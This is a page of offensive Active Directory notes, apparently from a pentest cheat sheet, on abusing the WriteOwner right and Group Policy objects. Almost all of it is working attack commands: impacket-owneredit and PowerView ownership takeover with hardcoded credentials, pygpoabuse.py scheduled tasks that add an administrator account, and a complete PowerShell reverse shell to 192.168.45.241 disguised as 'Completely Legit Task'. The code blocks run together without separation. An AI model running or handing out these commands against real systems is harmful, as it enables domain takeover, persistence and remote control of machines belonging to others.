WriteOwner
Information
impacket-owneredit -action write -new-owner <compromised-user> -target <target-account> <domain>/<compromised-user>:<pass># Create an object with the compromised account's credentials
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)
# Set the ownership of the target object with PowerView
Set-DomainObjectOwner -Credential $Cred -TargetIdentity "<target-account>" -OwnerIdentity "<compromised-user>"# Add an administrator user (john:H4x00r123..)
$ uv run pygpoabuse.py domain.local/x7331:Pass123! -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9"
[+] ScheduledTask TASK_69ed6112 created!
# Revshell
$ uv run pygpoabuse.py domain.local/x7331:Pass123! -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('192.168.45.241',80);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" -taskname "Completely Legit Task" -description "Dis is legit, pliz no delete" -user
[+] ScheduledTask Completely Legit Task created!./SharpGPOAbuse.exe --AddLocalAdmin --UserAccount x7331 --GPOName "Default Domain Policy"Last updated